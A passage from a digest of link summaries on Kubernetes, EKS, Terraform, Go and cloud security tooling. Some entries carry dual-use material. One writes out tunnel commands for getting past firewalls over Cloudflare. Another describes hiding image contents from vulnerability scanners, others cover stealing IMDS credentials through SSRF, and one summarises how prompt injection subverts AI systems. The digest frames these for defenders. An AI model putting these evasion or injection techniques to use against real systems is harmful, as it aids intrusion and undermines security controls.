    • Rules: One project equals one state; modules use semantic versioning; main always reflects every live environment; only dev may be applied from a laptop.
    • Layout: live/<env>/<project>/ (e.g. api, data_processor, tf_state) and modules/<name>/v1.1.0/ folders, one directory per module version.
    • State: Per-target backends: S3 plus DynamoDB locking for AWS, Storage Account for Azure.
    • Pipelines: pr-to-main.yml validates and plans; deploy-main.yml deploys after plan review; shared logic in composite actions (prepare-plan, deploy).
    • Pros: Single source of truth, easy cross-env comparison, one auth setup per target, no submodules.
    • Cons: Overwhelming for newcomers, no git-tag module versioning, slower CI, higher mix-up risk.

    Takeaway: Version-by-folder modules are a simple alternative to a module registry. It works for in-house setups but costs disk duplication and CI time.

  • Start Pods Faster by Prefetching Images
    summary

    TL;DR: AWS Containers blog post by Elamaran Shanmugam, Naveen Kumar Bathula and Re Alvarez-Parmar (May 3, 2023) on cutting EKS Pod startup for large images by pre-pulling them onto nodes with EventBridge and Systems Manager.

    • Problem: Images of hundreds of MB to tens of GB take minutes to pull; node caching only helps after the first pull.
    • Push trigger: An ECR push event fires an EventBridge rule that runs SSM Run Command (AWS-RunShellScript) to pull the image on existing worker nodes.
    • New nodes: An SSM State Manager association, targeted by node tags, prefetches images on nodes as they join.
    • No in-cluster parts: Avoids DaemonSet or CronJob pullers such as kubernetes-image-puller.
    • Verification: sudo ctr -n k8s.io images ls on the node via SSM session; code in aws-samples/containers-blog-maelstrom.
    • Alternative: Mentions SOCI lazy loading, which needs an index built at image build time.
    • Result: Authors say startup drops to a few seconds even for large images.

    Takeaway: Worth it for ML or build images that are GBs in size. Watch that pre-pulled images fill node disk.

  • mirrord: Connect Your Local Process and Your Cloud Environment
    summary

    TL;DR: mirrord, by MetalBear, runs a local process as if it were inside a live Kubernetes pod: traffic, file access and environment variables are routed through a chosen target pod, so you can test against real cluster services without deploying.

    • Interfaces: VS Code extension, IntelliJ plugin and CLI (mirrord exec ... --target pod/my-pod); uses your default kubeconfig.
    • Mechanism: Starts an agent pod on the target’s node that mirrors incoming traffic to your process and routes outgoing traffic, file reads/writes and env vars through the target.
    • Capabilities needed: CAP_NET_ADMIN (iptables redirection), CAP_SYS_PTRACE (access via /proc), CAP_SYS_ADMIN (join the network namespace); can be reduced with agent.disabled_capabilities.
    • Non-disruptive: Mirrors rather than steals traffic by default, so others using the cluster are not affected.
    • Current README: Now also pitches use by AI coding agents (Claude Code, Cursor, Codex) and lists adopters such as monday.com and SurveyMonkey.
    • License: MIT.

    Takeaway: Shortens the dev loop for services that depend on many in-cluster dependencies. The agent needs privileged capabilities, so limit it to dev or staging clusters.

  • edge-mc: KubeStellar, Multicluster Configuration Management for Edge, Multi-Cloud, and Hybrid Cloud
    summary

    (Could not fetch full text.)

    TL;DR: The kcp-dev/edge-mc repo is now just a “We’ve Moved” pointer to kubestellar/kubestellar. KubeStellar is a CNCF Sandbox project for deploying and configuring workloads across many Kubernetes clusters as if they were one.

    • Status: The original edge-mc repo only contains a move notice; development continues at github.com/kubestellar/kubestellar.
    • Core idea: Define a binding policy between clusters and Kubernetes objects; KubeStellar then propagates them using ordinary single-cluster tooling, without changing existing resources.
    • Use cases: Separate environments, team isolation, compliance, cross-cloud resiliency, and edge sites, including disconnected ones.
    • Components: Core engine with BindingPolicy, WDS, ITS and WEC concepts; the newer ecosystem adds a web console and an MCP server.
    • Source caveat: Based on the move notice and the current KubeStellar README, which has changed a lot since the 2023 edge-mc era.

    Takeaway: Follow the KubeStellar repo, not edge-mc. Evaluate it if you are moving from one cluster to many and want to keep your existing manifests.

  • kube-green: K8s Operator to Reduce CO2 Footprint of Your Clusters
    summary

    TL;DR: kube-green is a Kubernetes add-on and operator that scales down dev or preview workloads outside working hours to save resources, money and CO2. It is configured with a SleepInfo CRD.

    • CRD: kube-green.com/v1alpha1 SleepInfo with weekdays, sleepAt, wakeUpAt and timeZone (IANA, default UTC).
    • Options: suspendCronJobs: true; excludeRef to keep specific Deployments (e.g. api-gateway) running.
    • Sleep only: Omit wakeUpAt to put pods to sleep each night without automatic restore.
    • Install: Docs at kube-green.dev; Helm or kustomize; dev builds deploy with ko into KinD (make local-run).
    • Tests: make test for unit tests, make e2e-test / make e2e-test-kustomize for integration tests.
    • Project: MIT license, listed in the CNCF Landscape, has an adopters list.

    Takeaway: A cheap win for non-production namespaces that idle on nights and weekends. Exclude shared dependencies so wake-ups do not break other teams.

  • Platform Engineering: The Global Home for Platform Engineers
    summary

    TL;DR: platformengineering.org is the community hub behind PlatformCon and the Platform Weekly newsletter, with a Slack, events, jobs, a tooling landscape and courses for platform engineers.

    • Community size (current page): 280,000+ members, 25,000+ active Slack members, 4,000+ certified platform engineers.
    • Learning: “Learn with Luca” 101 content on Internal Developer Platforms, platform as a product, and DevOps versus platform engineering.
    • Certifications: Practitioner and Architect certifications plus free courses through Platform Engineering University.
    • Resources: Platform tooling landscape, industry reports, blog, salary benchmark, job board.
    • Current state: The homepage has grown since 2023 and now promotes agentic development platforms and paid enterprise training.

    Takeaway: A good place to start on IDP concepts and the tooling landscape. Treat the vendor-sponsored content and certifications as marketing.

  • Go Programming: Golang Course with Bonus Projects
    summary

    TL;DR: A freeCodeCamp full-length beginner Go course, about 9 hours, created by Lane Wagner of Boot.dev. It covers the language basics, then builds an RSS aggregator backend.

    • Language chapters: Why Go, variables, functions, structs, interfaces, errors, loops, slices, maps, advanced functions, pointers, local development, channels and concurrency, mutexes, generics, quiz.
    • Project: RSS aggregator using the go-chi/chi router, Postgres, pressly/goose migrations, API key authentication, many-to-many relationships, and a background aggregation worker.
    • Materials: Code at github.com/bootdotdev/fcc-learn-golang-assets; an interactive version is on Boot.dev.
    • Length: Project section starts at 6:43:13; last chapter at 9:05:28.

    Takeaway: A structured start for Go newcomers. Skip to the project half if you already know the syntax and want an idiomatic HTTP and Postgres example.

  • Tunnel via Cloudflare to Any TCP Service
    summary

    TL;DR: THC article on exposing any TCP service (such as SSH) through a free Cloudflare cloudflared tunnel by wrapping TCP in WebSockets on both ends, since Cloudflare tunnels normally carry only HTTP-style traffic.

    • Tools: websocat, cloudflared, gost; a 2024 update recommends DarkFlare, a single binary that combines websocat and cloudflared.
    • SSH example: Server: websocat -E -b ws-l:127.0.0.1:40008 tcp:127.0.0.1:22 plus cloudflared tunnel --url http://localhost:40008; client: websocat tcp-l:127.0.0.1:2222 ws://<url>.trycloudflare.com, then ssh -p 2222.
    • SOCKS example: gost -L mws://:40009 on the server, gost -L :1080 -F 'mwss://<url>:443' on the client, then proxychains for SSH or nmap -sT through the tunnel.
    • Multiplexing: mws/mwss carry all TCP connections over one WebSocket.
    • Caveats: Free tier limits connections; TLS ends at Cloudflare, so the tunnel is never end-to-end encrypted.

    Takeaway: Shows how a firewall-bypassing reverse tunnel needs only outbound HTTPS. Defenders should watch for unexpected cloudflared and trycloudflare.com traffic.

  • CloudNativeSecurityCon 2023: Seattle
    summary

    TL;DR: The CNCF YouTube playlist of recorded talks from CloudNativeSecurityCon 2023 in Seattle, the first standalone CNCF security conference. It has 88 videos.

    • Size: 88 videos, most 30-40 minutes, plus a few tutorials over an hour.
    • Hands-on: “Hands-on Hacking Kubernetes and Ways to Prevent It” tutorial by Eric Smalling (Snyk).
    • Supply chain: Talks on SLSA and GUAC (Ian Lewis, Google), running your own Sigstore (Hayden Blauzvern, Google), and supply chain at scale (Yahoo).
    • Identity: Zero trust with SPIFFE/SPIRE (Frederick Kautz) and workload identity in Kubernetes (Michael Peters, Red Hat).
    • CI/GitOps: Securing self-hosted GitHub Actions with actions-runner-controller; GitOps with Argo CD, Helm and OPA.
    • Keynotes: Priyanka Sharma (CNCF) opening; Brandon Lum (Google) on next steps in supply chain security.

    Takeaway: A focused catalog for Kubernetes and supply chain security. Start with the hacking tutorial and the Sigstore and SLSA talks.

  • Cloud Native Security Talks
    summary

    TL;DR: Cloud Native Security Talks is a searchable index of container and Kubernetes security talks from KubeCon, CloudNativeSecurityCon and Cloud Native Security Day, each with its abstract and recording link.

    • Scope (current page): 471 talks across 27 events, from 2016 to KubeCon Europe 2026.
    • Series filters: KC-EU, KC-NA, CNSC, CNSD and KC-CN, plus a year filter.
    • Search: Matches titles, speakers and full abstracts; there is also an RSS feed.
    • Examples: Talks range from “How Symlinks Pwned Kubernetes” (2018) and Shopify’s $25k bug report to 2026 talks on kcp’s first CVE and LLMs and Kubernetes security.
    • Current state: The index is kept up to date, so it now goes well past the 2023 talks it had when bookmarked.

    Takeaway: Use it as the first stop when looking for conference material on a Kubernetes security topic. It is faster than searching YouTube playlists.

  • managed-kubernetes-auditing-toolkit: Auditing Toolkit for Security Issues in Managed Kubernetes
    summary

    TL;DR: MKAT (Managed Kubernetes Auditing Toolkit), from Datadog, is a CLI for finding common security issues in managed Kubernetes. It currently focuses on Amazon EKS.

    • Role mapping: mkat eks find-role-relationships matches K8s service accounts to AWS IAM roles via IRSA and EKS Pod Identity, shown as a table or graph.
    • Secrets: Finds hardcoded AWS credentials in Pods, ConfigMaps and Secrets; only alerts when an access key ID and secret key appear in the same resource.
    • IMDS: mkat eks test-imds-access starts two temporary pods to test IMDSv1 and IMDSv2 reachability, then deletes them.
    • Install: brew tap datadog/mkat ... then brew install datadog/mkat/managed-kubernetes-auditing-toolkit, or use release binaries.
    • Auth: Uses current AWS and kubectl contexts (aws eks update-kubeconfig --name <cluster>, AWS_REGION, AWS_PROFILE).
    • Updates: Pod Identity support was added after the November 2023 AWS release.

    Takeaway: A quick EKS audit for pod-to-cloud pivot paths. Run test-imds-access on every cluster, since node IMDS access from pods is the classic escalation.

  • Attacking and Securing Cloud Identities in Managed Kubernetes Part 1: Amazon EKS
    summary

    TL;DR: Datadog Security Labs post by Christophe Tafani-Dereeper (May 16, 2023, updated through February 2024) on how IAM works in Amazon EKS and how attackers pivot from a cluster into the AWS account. It also introduces MKAT.

    • API auth: Covers aws eks update-kubeconfig, aws-iam-authenticator, the deprecated aws-auth ConfigMap and the newer EKS cluster access management.
    • SSRF: SSRF in a pod can reach the node IMDS and steal worker node credentials.
    • Mitigations: Block pod IMDS access cluster-wide with a GlobalNetworkPolicy; enforce IMDSv2 with response hop limit 1.
    • Workload identity: Explains IRSA (AssumeRoleWithWebIdentity) and EKS Pod Identity, and how stolen node credentials or service account tokens give access to pod roles.
    • Operators: Warns about broad AWS permissions on bridging operators like External Secrets or Crossplane.
    • Tooling: MKAT audits role relationships, hardcoded keys and IMDS access; part 2 covers GKE.

    Takeaway: For EKS, block IMDS from pods and use IRSA or Pod Identity with tight roles. Treat any SSRF in a pod as a possible path to the AWS account.

  • chathub: Use Different Chatbots in One App
    summary

    TL;DR: ChatHub is a Chromium browser extension that puts several chatbots in one app and lets you query them side by side to compare answers.

    • Bots (current README): ChatGPT (web app or API), Gemini, Claude (web app or API), Grok, DeepSeek, Qianwen, Llama and others; earlier versions listed Bing Chat, Bard, Vicuna and ChatGLM.
    • Features: Simultaneous multi-bot chat, prompt library, local conversation history, export/import, share to Markdown, dark mode, web access, global shortcut.
    • Install: Chrome Web Store, or build: corepack enable, yarn install, yarn build, then load dist in developer mode.
    • Sponsor: Stream (getstream.io).
    • Change since 2023: The supported-bot list has been updated as 2023 products like Bing Chat and Bard were renamed or retired.

    Takeaway: Handy for comparing model answers. It holds your sessions and API keys, so check the extension’s permissions and source before installing.

  • prompt-engineering: Tips and Tricks for Working with Large Language Models Like GPT-4
    summary

    TL;DR: Brex’s internal prompt engineering guide, made public in 2023. It covers LLM history, what prompts and tokens are, and strategies, guidelines and safety advice for building production systems on models like GPT-4.

    • Basics: LLMs as next-token prediction engines; hidden prompts, tokens and token limits.
    • Prompt hacking: Jailbreaks and prompt leaks.
    • Patterns: Semantic search (“give a bot a fish”) versus tool use via command grammars and ReAct (“teach a bot to fish”); GPT-4 versus GPT-3.5.
    • Embedding data: Simple lists, Markdown tables, JSON, freeform and nested data.
    • Techniques: Citations, programmatic consumption of output, chain of thought, averaging, interpreting code, delimiters.
    • Fine tuning: When to use it and its downsides.
    • Caveat: Examples come from a non-deterministic model and may give different results; it is described as a living document.

    Takeaway: A practical 2023 primer for engineers starting with LLM features. The data-formatting and delimiter advice still applies; model-specific comparisons are dated.

  • The AI Attack Surface Map v1.0
    summary

    TL;DR: Daniel Miessler’s May 15, 2023 framework and diagram for thinking about attacks on AI-powered systems as a whole, not just models. It argues natural language is the main attack vector against LLM systems.

    • Components: AI Assistants, Agents, Tools, Models and Storage, borrowing Langchain’s breakdown; prompts are treated as the attack path.
    • Assistants: High-impact targets because they hold deep personal data and can act as the user (payments, posts, messages).
    • Methods: Prompt injection (bypass system prompt, run code, pivot to backends) and training data poisoning.
    • Per-component attacks: Alter agent routing; arbitrary command execution through tools; extract or tamper with embedding databases; bypass model protections, extract other users’ data, access unpublished models.
    • Outlook: Expects a flood of insecure AI-built stacks and a big need for AI security automation.

    Takeaway: A useful mental model for threat-modelling LLM apps. Map each tool and data store an agent can reach, because injection travels through all of them.

  • Building a Kubernetes Purple Teaming Lab
    summary

    TL;DR: Sumo Logic Threat Labs post by Anton Ovrutsky (May 11, 2023) on building a Kubernetes purple teaming home lab: run attacks, check what telemetry catches them, and track results.

    • Stack: Ubuntu 20.04 VM, Docker as Minikube driver, Minikube cluster, free Sumo Logic account for monitoring.
    • Host telemetry: auditd with Florian Roth’s audit rules, plus Laurel to convert audit logs to JSON.
    • Tracking: Vectr, running on the same VM, records purple team test cases and outcomes.
    • Example: kubectl exec into a pod left no trace in Kubernetes logs; adding -w /usr/local/bin/minikube -p x -k minikube to audit rules captured it at host level.
    • Purple teaming: Defined as collaborative attack, check results, track metrics, iterate.

    Takeaway: A cheap way to build and test Kubernetes detections without touching production. The exec example shows why host-level audit data matters alongside K8s audit logs.

  • Fun with Container Images: Bypassing Vulnerability Scanners
    summary

    TL;DR: Rory McCune (raesene), following the KubeCon EU 2023 talk “Malicious Compliance” with Ian Coldwater, Brad Geesaman and Duffie Cooley, shows a simple way to hide an image’s contents from static vulnerability scanners: unpack the filesystem only at runtime.

    • Technique: A static Go binary extracts a tarball of a real container filesystem and runs a command from it, so the image holds only the binary and a tar.
    • Build: CGO_ENABLED=0 go build -ldflags="-s -w", pack with upx, tarball from docker export.
    • Image: FROM scratch, COPY image.tar /, COPY main /, ENTRYPOINT ["/main","image.tar"]; run as docker run --rm obfuscator ls.
    • Result: Trivy, Grype, Docker Scan and Docker Scout all reported clean on a deliberately vulnerable base.
    • Caveat: Marked as a proof of concept only; code is on GitHub.

    Takeaway: If you do not trust who built an image, scanner output tells you little. Scanners are a hygiene check against honest builders, not a defence against malicious ones.

  • smokescreen: Simple HTTP Proxy That Fogs over Naughty URLs
    summary

    TL;DR: Smokescreen is Stripe’s HTTP CONNECT egress proxy. It sends most of Stripe’s outbound traffic (such as webhooks) and only allows approved destinations, blocking SSRF-style access to internal networks.

    • Hostname ACLs: Per-client allowlists of destination hostnames.
    • IP checks: Resolves each name and refuses private or internal IPs; extra allow or deny ranges are configurable.
    • Client identity: Clients usually connect over mTLS; certificates are checked against configured CAs and CRLs, and the CN identifies the client by default (the function is replaceable).
    • Stable egress: Centralizes egress so partners can allowlist fixed Stripe IPs.
    • Build: Go modules, a custom fork of goproxy, Prometheus on by default; -tags=smokescreen_no_prometheus removes it.
    • Support: Targets the two most recent Go versions.

    Takeaway: A proven pattern for webhook senders and any service fetching user-supplied URLs. Route that traffic through an allowlisting proxy that blocks internal IPs.

  • github-oidc-checker: Check for Misconfigured GitHub OIDC Access from AWS Roles and GCP Service Accounts
    summary

    TL;DR: github-oidc-checker is a pair of Python 3.11 scripts from Rezonate Labs that scan AWS accounts and GCP projects for misconfigured trust between GitHub Actions OIDC and IAM roles or service accounts.

    • Origin: Released with Rezonate’s 2023 research “From GitHub to Account Takeover”, which found misconfigured GitHub OIDC trust relationships in dozens of public repositories.
    • AWS script: Uses boto3 (pip install boto3) to review IAM roles that trust the GitHub OIDC provider.
    • GCP script: Uses the gcloud CLI to review service accounts and workload identity bindings.
    • Usage: Run as an authenticated user in the target account or project; the README shows example output only as screenshots.
    • Scope: A small single-purpose tool; the README gives no rule list beyond “misconfigured access”.
    • Source caveat: README fetched; research context comes from search snippets of the Rezonate blog post.

    Takeaway: Run it, or check by hand, that every GitHub OIDC trust policy restricts the sub claim to your org and repo. A policy that checks only aud can be assumed from any repository.

  • watchtower: Automate Docker Container Base Image Updates
    summary

    TL;DR: Watchtower is a container that watches the Docker daemon and, when a newer image tag is pushed, pulls it and restarts running containers with their original options. The project is now marked as no longer maintained.

    • Status: The README opens with “This project is no longer maintained” and points to discussion #2135.
    • Run: docker run --detach --name watchtower --volume /var/run/docker.sock:/var/run/docker.sock containrrr/watchtower.
    • Behaviour: Pulls the new image, shuts down the old container gracefully, and restarts it with the same run options.
    • Intended use: Homelabs, media centres and local dev; maintainers advise against commercial or production use and suggest Kubernetes, MicroK8s or k3s.
    • Docs: containrrr.dev/watchtower; Apache-2.0 license.

    Takeaway: Fine for a homelab, but it is unmaintained and has full Docker socket access. Pin images, or move to a maintained fork or a GitOps-style update flow.

  • Best Practices for EKS Cluster Upgrades
    summary

    TL;DR: The Cluster Upgrades chapter of the AWS EKS Best Practices Guide, a checklist for keeping EKS clusters current and upgrading the control plane, add-ons and data plane safely. The guide has since moved into the AWS documentation.

    • Status: The page banner says the EKS Best Practices Guide has moved to AWS Documentation.
    • Before upgrading: Follow the EKS release calendar, check free subnet IPs and the cluster IAM role, migrate to EKS Add-ons, and back up the cluster.
    • Removed APIs: Find them with Cluster Insights, kube-no-trouble (kubent) or pluto; update manifests with kubectl-convert.
    • Order: Control plane first, then data plane in sequence; upgrade add-ons through the Kubernetes API.
    • Availability: Set PodDisruptionBudgets and topologySpreadConstraints; use Managed Node Groups or Karpenter (Drift, ExpireAfter); eksctl for self-managed groups; restart Fargate deployments after the control plane upgrade.
    • Alternatives: Consider blue/green clusters.
    • Removals: Dockershim and PodSecurityPolicy in 1.25, and in-tree storage driver deprecation in 1.23.

    Takeaway: Use it as a pre-upgrade checklist, and run a removed-API scan before every control plane bump. Read the AWS Docs copy for current content.

  • Automate Security and Monitoring with Amazon EKS Blueprints, Terraform, and Sysdig
    summary

    TL;DR: AWS Partner Network post by Manuel Boira (Sysdig) and Frank Carta (AWS), May 18, 2023, introducing the Sysdig add-on for EKS and Sysdig EKS Blueprints. These are Terraform blueprints that create EKS clusters already instrumented by Sysdig.

    • Motivation: Cites survey figures: 48% name lack of in-house skills and 29% difficulty training users as Kubernetes adoption obstacles; most containers live under five minutes (Sysdig research).
    • Deploy: Set sysdig_accesskey, sysdig_region, cluster_name, aws_region, then terraform init, plan, apply.
    • Security features: IaC scanning with drift control, image vulnerability scanning (CI, registry, admission, runtime), KSPM, runtime threat detection, forensics, SIEM/SOAR forwarding.
    • Monitoring features: Kubernetes and cloud monitoring, cost advisor, custom metrics.
    • Caveat: EKS Blueprints is open source and does not carry AWS service-level support.

    Takeaway: Mainly vendor content. The useful pattern is shipping security agents as part of the cluster Terraform, so new clusters are never unmonitored.

  • Let’s Debug a Kubernetes Pod Locally
    summary

    TL;DR: Ahmet Enes Bayraktar (May 2022) shows how to debug a service locally while it talks to real dependencies in a dev Kubernetes cluster, using mirrord instead of docker-compose replicas, redeploys or port-forwarding.

    • Problems with alternatives: Local replicas lack resources and data; redeploy loops waste time; port-forward is unstable, does not reconnect on pod restart, and does not help non-HTTP workers.
    • mirrord model: A local layer wraps your process and an agent pod runs in the cluster; incoming requests to the target pod are mirrored to your local process and outgoing calls go through the agent.
    • Protocols: In the author’s tests incoming interception worked for any TCP traffic; UDP was not supported at the time.
    • Stack: Demo is .NET; also works from an IDE debugger.
    • Date: Written in 2022 against an early mirrord version.

    Takeaway: A practical intro to mirrord-style remote-local debugging. Check current mirrord docs, since features have grown since this post.

  • eks-cluster-upgrade: Automated Amazon EKS Cluster Upgrade
    summary

    TL;DR: eksupgrade is an AWS Samples Python utility (on PyPI) that automates Amazon EKS cluster upgrades: control plane, managed node groups and self-managed node groups.

    • Install: python -m pip install eksupgrade; needs AWS IAM permissions (example policy in README) and cluster access.
    • Flow: Request the control plane upgrade (done by AWS), classify nodes as managed or self-managed, update managed node groups, then roll self-managed nodes.
    • Self-managed nodes: Launch upgraded nodes, wait for Ready, cordon old nodes, evict pods; respects PDBs unless --force is given.
    • Change in v0.9.0: Pre/post-flight checks were removed; users are pointed to eksup (clowdhaus) for readiness checks.
    • Status: An aws-samples project, not an official AWS service.

    Takeaway: Useful for clusters with self-managed node groups. Run eksup or a removed-API scan first, because the tool no longer validates readiness itself.

  • devpod: Dev-Environments-as-Code in Any Infra
    summary

    TL;DR: DevPod, from Loft Labs, is an open-source, client-only tool that creates reproducible dev environments from devcontainer.json on any backend: local Docker, Kubernetes, a remote machine over SSH, or a cloud VM.

    • Standard: Reuses the DevContainer spec used by GitHub Codespaces and VS Code Dev Containers.
    • Providers: Pluggable backends; you can write your own provider.
    • Cost claim: README says it is usually 5-10x cheaper than hosted services, because it uses bare VMs and shuts idle ones down automatically.
    • IDEs: VS Code and the JetBrains suite; others connect over SSH.
    • Features: Prebuilds, inactivity shutdown, git and Docker credential sync, desktop app for macOS, Windows and Linux, plus a CLI.
    • No server: Runs only on the client, with no backend to install.

    Takeaway: An open alternative to Codespaces if you already have devcontainer files. Point it at cheap cloud VMs or a Kubernetes cluster.

  • How to Start a Go Project in 2023
    summary

    TL;DR: Ben Boyter’s May 2023 update of his 2018 guide: a practical checklist for starting a Go project, covering setup, layout, tooling, testing and Docker.

    • Setup: Install from golang.org; ignore $GOPATH in favour of modules; add $(go env GOPATH)/bin to PATH.
    • Editors: VS Code or GoLand, per the Go survey; GoLand can break briefly after new Go releases.
    • Quality: golangci-lint for linting; gitleaks detect / gitleaks protect with a toml config that ignores vendor.
    • Profiling and tests: Built-in profiling, unit and integration testing; multiple main entry points under cmd/.
    • Docker: Sample FROM golang:1.20 Dockerfiles per entry point; readers suggested multi-stage builds.
    • Tools: gow (watch and rerun), hyperfine (benchmarks), dcd (duplicate code), gotestsum, among others.

    Takeaway: A sensible opinionated baseline for new Go repos. Copy the lint, gitleaks and tool list into your template.

  • snips.sh: Passwordless, Anonymous SSH-Powered Pastebin with a TUI and Web UI
    summary

    TL;DR: snips.sh, by Rob Herley, is a pastebin you use over SSH: pipe text to ssh snips.sh to upload, or ssh snips.sh to open a TUI. Snippets get a syntax-highlighted web view, and the only identity is your SSH key.

    • Upload: echo '{ "hello" : "world" }' | ssh snips.sh; no client install needed.
    • Anonymous: No sign-up, login or email; the SSH key is the account.
    • Sharing: Short links, Markdown rendering, and time-limited URLs with optional burn-after-read for sensitive content.
    • Editing: Update a snip in place; each diff is saved as a revision.
    • Extras: ML-based language detection; download and pipe into $PAGER.
    • Self-hosting: Containerized and light on resources; docs cover usage, database, self-hosting, ToS and acceptable use.

    Takeaway: Handy for moving snippets between terminals. For anything sensitive, self-host it rather than trusting the public instance.

  • CureIAM: Clean Accounts over Permissions in GCP Infra at Scale
    summary

    TL;DR: CureIAM, from Gojek, is a Python engine that enforces least privilege on GCP. It pulls GCP IAM Recommender suggestions, scores them, and applies the safe ones automatically every day.

    • Basis: Built on GCP IAM Recommender APIs and the Cloudmarker framework.
    • Scoring: Each recommendation gets safe_to_apply_score, risk_score and over_privilege_score; auto-apply happens only above thresholds set in CureIAM.yaml.
    • Scheduling: Built-in daily scheduler, so no external cron is needed.
    • Audit: Every action is recorded to a file store or Elasticsearch; store plugins are extensible.
    • Design: Config-driven, plugin-based, multiprocess and multithreaded for scale.
    • Setup: Config in /etc/CureIAM.yaml or ~/.CureIAM.yaml plus a service account key file (e.g. cureiamSA.json).

    Takeaway: Automating IAM Recommender cleanup is a good way to cut standing GCP permissions. Start in report-only mode with conservative thresholds, and guard the service account key it needs.

  • Container Security Fundamentals Part 4: Cgroups
    summary

    TL;DR: Part 4 of Rory McCune’s Container Security Fundamentals series on Datadog Security Labs (May 23, 2023). It explains Linux cgroups and how they limit container resources, stop fork bombs and control device access.

    • Versions: cgroup v2 arrived in kernel 4.5 (2016) and is needed for features like rootless containers; check with mount | grep cgroup (Ubuntu 20.04 has both, 22.04 only v2).
    • Inspect: cat /proc/[PID]/cgroup shows a process’s slice and scope.
    • Resource limits: Docker sets cgroup limits on CPU and memory to avoid noisy neighbours.
    • Fork bombs: Containers have no process limit by default; docker run --pids-limit sets the pids cgroup to contain them.
    • Devices: cgroups enforce runc’s allowed-device list; --device /dev/dm-0 adds host devices.
    • Next: Part 5 covers mandatory access control.

    Takeaway: Set PID and memory limits on every workload; Kubernetes pod limits map to these cgroups. Treat --device grants as privileged access.

  • Terraform check{} Block
    summary

    TL;DR: Elif Samedin and Andrei Buzoianu (Unfriendly Grinch, April 10, 2023) demo the Terraform check {} block from the v1.5.0 alpha. It runs assertions on data sources after plan and apply, giving ongoing validation of live infrastructure.

    • Feature: check blocks hold at least one assert with condition and error_message, and may define scoped data sources; failures warn rather than block.
    • Version testing: Uses tfenv install 1.5.0-alpha20230405 and tfenv use, with optional signature verification (trust-tfenv: yes).
    • Azure example 1: An external data source runs ping.py against the VM’s public IP and asserts status == "up".
    • Azure example 2: Asserts the NSG SSH rule is not open to * or 0.0.0.0/0.
    • Demo: Stopping and starting the VM shows the check failing and then passing on the next terraform apply.
    • Use cases: Infrastructure health checks, drift detection, post-apply checks built into modules.

    Takeaway: Use check blocks in modules for cheap post-deploy smoke and security assertions. They do not fail the apply, so alert on the warnings.

  • Terraform AWS Provider 5.0 Adds Updates to Default Tags
    summary

    TL;DR: HashiCorp post by Aurora Chun (May 25, 2023) announcing Terraform AWS Provider 5.0. Its headline is a rework of provider-level default_tags, plus breaking removals.

    • Default tags fixes: Resolves inconsistent final plans with computed tags, duplicate tags in default and resource tags, and perpetual tag diffs.
    • Example: default_tags with environment, department, application, cost_center; a resource can override environment and add its own tags.
    • Enabler: New Terraform plugin SDK and plugin framework features made the fix possible.
    • Breaking: Deprecated attributes now cause an unsupported error, not a warning.
    • EC2-Classic: Support removed after AWS retired EC2-Classic in August 2022.
    • Upgrade: Read the v5 upgrade guide and pin the provider version.
    • Source caveat: curl hit a Vercel bot check; content was fetched with WebFetch.

    Takeaway: If you had worked around default_tags bugs, 5.x lets you drop those workarounds. Pin versions and fix deprecated attributes before upgrading.

  • aws-cloudsaga: Simulate Security Events in AWS
    summary

    TL;DR: AWS CloudSaga, by Joshua McKiddy of AWS, is a CLI that simulates security events seen by the AWS Customer Incident Response Team (CIRT). It lets you test whether your controls, alerts and response plans react.

    • CLI: cloudsaga --chapters lists scenarios, --about <scenario> explains one, --scenario <name> runs it.
    • imds-reveal: Simulates SSRF-style IMDSv1 credential exposure (needs ec2:DescribeInstances).
    • mining-bitcoin: Launches instances that mimic crypto-mining abuse.
    • network-changes: Creates VPCs and modifies security groups.
    • iam-credentials: Generates and fetches the IAM credential report.
    • public-resources: Creates and checks public RDS and S3 resources, toggling public access blocks.
    • Where to run: For example AWS CloudShell; the README lists the IAM permissions each scenario needs.

    Takeaway: A simple way to check that GuardDuty, Config rules and alerting fire on common attacker actions. Run it only in a sandbox account, since it creates real and public resources.

  • Finding the Best Go Project Structure: Part 1
    summary

    TL;DR: Aviv Carmi (HUMAN Security, May 2023) revisits his earlier Go project structure article and explains why his team moved away from the “coupled packages” approach. Part 1 of 2, with an open-source template repository.

    • Goals: Structural coherence (each piece of code in one meaningful package) and separation of business logic from infrastructure, for testability and swappable backends (HTTP and gRPC, adding caches).
    • Single package: Rejected: no private symbols, tight coupling, no guidelines; migrating later is costly.
    • Coupled packages: Shared definition packages; used for years, giving separation and testability.
    • Retro finding: Global variables such as config.Port and config.Token make code unsafe to reuse within a project; a second server with a different token cannot reuse the code.
    • Context: Written for backend services with large scale and real-time decisions; the author says other use cases may differ.
    • Next: Part 2 covers the chosen architecture and directory layout.

    Takeaway: Avoid package-level globals for config and dependencies; pass them in. Read part 2 and the template for the structure they settled on.

  • HardenEKS: Validating Best Practices for Amazon EKS Clusters Programmatically
    summary

    TL;DR: AWS Containers blog post by Doruk Ozturk, Joshua Kurz and Jacob Mevorach (May 26, 2023) introducing HardenEKS. It is an open-source Python CLI that checks an EKS cluster against the EKS Best Practices Guide (EBPG).

    • Coverage: EBPG pillars are Security, Reliability, Autoscaling, Networking, Scalability and Windows Containers; 40+ automated rules at the time.
    • Agentless: Runs externally, so nothing is installed in the cluster.
    • Quick start: pip install hardeneks, then hardeneks --export-html report.html.
    • Report: Lists violated rules with the offending configuration and a link to the relevant best practice.
    • Example: Flags EBS volumes without encryption; setting encrypted in the StorageClass clears the finding.
    • History: First released November 2022; can run on a schedule, e.g. via EventBridge. Repo: aws-samples/hardeneks.

    Takeaway: A cheap periodic EKS posture check mapped to AWS’s own guidance. Use it next to kube-bench or a policy engine, not as a replacement.

  • Securing Cloud Native Microservices with Role-Based Access Control Using Keycloak
    summary

    TL;DR: CNCF Ambassador post by Daniel Oh (Red Hat), May 17, 2023, written after Keycloak joined CNCF as an incubating project. It is a step-by-step tutorial on securing Quarkus microservices with Keycloak RBAC over OpenID Connect.

    • Protocol: Explains the OIDC authorization code flow on top of OAuth 2.0, with ID tokens and SSO.
    • Scaffold: quarkus create secured-apis-keycloak-quarkus with the Quarkus OIDC extension.
    • RBAC: Endpoints annotated @RolesAllowed("admin") (/hello/db) and @RolesAllowed("user") (/hello).
    • Dev Services: Quarkus dev mode starts a Keycloak container (keycloak:21.0.2) automatically, with realm quarkus, client quarkus-app and test users alice and bob.
    • Verification: Calls each endpoint with access tokens issued by Keycloak to confirm role enforcement.
    • Further reading: Keycloak on Kubernetes, secrets in Keycloak, Keycloak CR tuning, Authorization Services.

    Takeaway: A quick hands-on path to role-based auth in Java microservices. Note that the demo endpoint returns DB credentials purely for illustration.

